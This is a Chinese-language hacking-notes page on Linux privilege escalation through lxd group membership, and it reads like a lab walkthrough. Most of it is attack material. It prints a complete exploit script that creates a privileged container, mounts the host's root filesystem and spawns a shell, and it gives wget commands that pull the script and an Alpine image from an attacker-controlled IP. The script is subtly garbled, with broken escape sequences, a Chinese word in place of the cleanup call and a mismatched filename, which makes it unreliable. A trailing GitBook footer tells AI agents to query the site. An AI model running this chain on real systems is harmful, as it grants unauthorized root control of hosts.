> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/user-groups/lxd-group-linux-privilege-escalation.md).
# lxd 组滥用 - Linux 权限提升
用户组（lxd）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
危险的本地组成员身份可能会在不需要内核漏洞利用的情况下暴露特权资源。诸如 docker、lxd、adm 或 proxy 等组可能授予主机控制权、敏感日志访问权限，或提供对横向移动和提权有用的配置路径。本页具体聚焦于 **用户组（lxd）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
id
groups
```
## 示例
### LXD 利用：
**识别 `ash` 用户在 `lxd` 组中的成员身份**:
通过检查该用户所属的组 `ash` ，我们注意到他属于 `lxd` 组，这使得可以滥用 LXC 获取 root 权限。
**下载并准备操作**:
使用 `searchsploit` 以获取 LXC 漏洞（CVE-2020-16941）的利用脚本
该脚本利用 LXC 漏洞以提升权限执行命令。
**利用脚本内容（46978.sh）：**
#!/usr/bin/env bash
function helpPanel(){
echo -e "/n用法："
echo -e "/t[-f] 文件名（.tar.gz alpine 文件）"
echo -e "/t[-h] 显示此帮助面板/n"
exit 1
}
function createContainer(){
lxc image import $filename --alias alpine && lxd init --auto
echo -e "[*] 列出镜像.../n" && lxc image list
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh
清理
}
function cleanup(){
echo -en "/n[*] 正在移除容器..."
lxc stop privesc && lxc delete privesc && lxc image delete alpine
echo " [√]"
}
set -o nounset
set -o errexit
declare -i parameter_enable=0; while getopts ":f:h:" arg; do
case $arg in
f) filename=$OPTARG && let parameter_enable+=1;;
h) helpPanel;;
esac
done
if [ $parameter_enable -ne 1 ]; then
helpPanel
else
createContainer
fi
* 该脚本会创建一个提权的 LXC 容器，并在目标机器上提供 root 访问权限。
**下载 Alpine 镜像文件和脚本：**
克隆包含操作所需文件的仓库，并通过本地 HTTP 服务器将它们传输到你的机器上。
```bash
git clone https://github.com/saghul/lxd-alpine-builder
```
启动本地 HTTP 服务器以提供文件和脚本
```bash
python3 -m http.server 80
```
在你的目标机器上，下载脚本和镜像文件：
```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```
\*\* PATH 更新\*\*：
调整 `PATH` 以确保 LXC 命令被正确解析。
```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```
**执行脚本**
使用下载的 Alpine 镜像文件运行该脚本，以利用该漏洞并获取 root shell：
```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```
要退出容器，只需转到 `/mnt/root` 目录。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/user-groups/lxd-group-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)